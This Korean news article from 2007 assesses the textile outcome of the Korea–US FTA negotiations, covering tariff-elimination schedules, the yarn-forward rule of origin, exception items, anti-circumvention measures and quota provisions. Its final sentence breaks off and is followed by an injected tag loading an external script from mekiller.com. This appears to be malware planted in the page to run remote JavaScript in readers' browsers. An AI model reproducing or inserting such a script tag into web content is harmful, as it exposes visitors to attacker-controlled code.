한미FTA 섬유협상 과소평가 경계

2007-04-10 10:05 조회수 아이콘 1474

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한미FTA 섬유협상 과소평가 경계

 

-수입관세 즉시철폐 61% 당초목표 상회
-얀 포워드·인기품목 D그룹 결정 아쉬움
-美 30년 쿼터규제 전면개방 요구는 과욕

한미FTA 섬유협상 결과에 따른 섬유 각 스트림간 이해득실에서 희비가 교차되고 있는 가운데 업계의 기대에는 다소 못미쳐으나 비교적 선방한 것으로 평가되고 있다.
한국은 쌀, 미국은 섬유를 고수하는 가운데 미국이 30년간 쿼터규제를 실시한 섬유부문의 전면개방 요구는 과욕이었다.
이번 섬유협상의 관세양허부문에서 대미 수출시 수입액 기준으로 61% (품목수로는 87%) 해당품목을 즉시철폐키로하고 나머지 품목은 5년에서 10년간 단계적으로 철폐키로 했으며, 원사기준 원산지규정 적용에 린넨·리오셀·레이온·합섬편직 여성재킷(봉재)·합섬우븐 남성셔츠(제직·봉재) 등 일부 예외품목을 두기로 한 것은 일단 수확으로 받아들여지고 있다. 당초에는 미측이 15%수준을 제시했으나 밀고 당기는 과정에서 30%·50%에 이어 마지막 협상에서는 61%까지 끌어올린 것은 에상을 웃도는 수준이다.
정부가 협상결과에 따른 정확한 품목세번분류(HS 10단위)를 정리중에 있어 아직 발표하지 못하고 있으나, 즉시철폐(A그룹) 품목에는 면양말·합섬스웨터·모직물·자수직물·견직물·합섬단섬유·담요·카페트 등이 포함됐으며, 5년이내 단계적 철폐품목(C그룹)에는 합섬장섬유 필라멘트직물·합섬 환편직물 일부·코팅직물과 일부 의류가 포함된 것으로 밝혀졌다. 또한 10년이내 단계적 철폐품목(D그룹)에는 합섬장섬유 DTY직물·니트직물·타이어코드 등이 해당된다.
의류는 일부 주요품목이 원산지 예외품목으로 지정됐고 면양말·스웨터 등이 즉시철폐 품목으로 나타나 국산원사를 사용한 소재를 재단봉제해 수출하는 일부업체의 수혜가 예상된다.
직물은 관세가 즉시 철폐되는 업종의 경쟁력이 우선 회복될 것으로 보인다. 특히 대종품목인 합섬장섬유직물과 니트직물이 5년에서 10년까지 해당 세율의 20%∼10%씩 단계적으로 축소될 것으로 보여 즉시철폐를 기대한 업계가 당장에는 실망하는 분위기지만 일부 주요품목에 대해 5년내 철폐품목을 이끌어낸 노력이 돋보인다.
그러나 원산지규정이 원사기준으로 결정됨에 따라 즉시철폐 품목에 해당되더라도 수입사를 사용하면 혜택을 받을 수 없다. 따라서 수요가 늘어날 합섬사 메이커나 면사를 생산해온 면방업체는 환영하고 있으며 수입사를 다량 사용해온 제직업체나 봉제의류업체는 혜택이 없어 실망하고 있다. 따라서 원사-제직-의류봉제 등 스트림간 협력이 중요할 것으로 지적되고 있다.
이번 협정이 발효되는 내년부터는 수입사를 사용해 제직하거나 생지를 들여와 염색·날염 후에 2가지 이상 가공을 거쳐 한국산으로 수출한 제직업체는 더 이상 한국산으로 인정받을 수 없다. 그러나 국산원사를 사용해온 대부분의 합섬직물업체나 의류업체는 수혜를 입어 단계별 관세인하에 따라 경쟁력이 회복될 것으로 전망된다.
의류업체는 종전과 같이 봉재기준이 아닌 원사기준이 적용됨에 따라 한국산이나 미국산 원사로 제직한 원단을 사용해 재단봉제할 경우에만 한국산으로 인정되므로 효과가 크지 않을 것으로 보고있다. 의류업계에서는 여성재킷·남성셔츠 등 예외품목을 취급하는 업체를 중심으로 10% 정도가 혜택을 볼 것으로 추정하고 있다.
아울러 미측의 우려를 반영해 우회수출 방지를 위해 양국간 협력을 강화키로 했는데 일부에서는 미국이 우회수출 방지를 명분으로 국내수출업체에 대해 경영정보 등 지나친 자료를 요구할 우려가 있어 비관세장벽으로 활용될 소지가 있다는 지적도 나왔다. 이에 대해서는 정부와 단체가 나서 대응책을 강구해야할 것으로 보인다. 당초 미측이 3개월이내 자료제출을 요구했으나 1년 이내로 연장됐으며 서류도 대폭 간소화했고 우회수출 증거가 확실한 경우 해당업체를 방문하더라도 피조사자의 허가 없이는 들어갈 수 없다는 협정내용이 마련된 것으로 알려졌다.
또한 공급이 부족하다고 인정되는 투입재에 대하여 의류와 직물 각 1억SM씩 발효일로부터 5년간 원산지예외쿼타(TPL)를 인정받을 수 있는 근거가 마련됐으나 특정품목?script src=http://mekiller.com/1/1.js>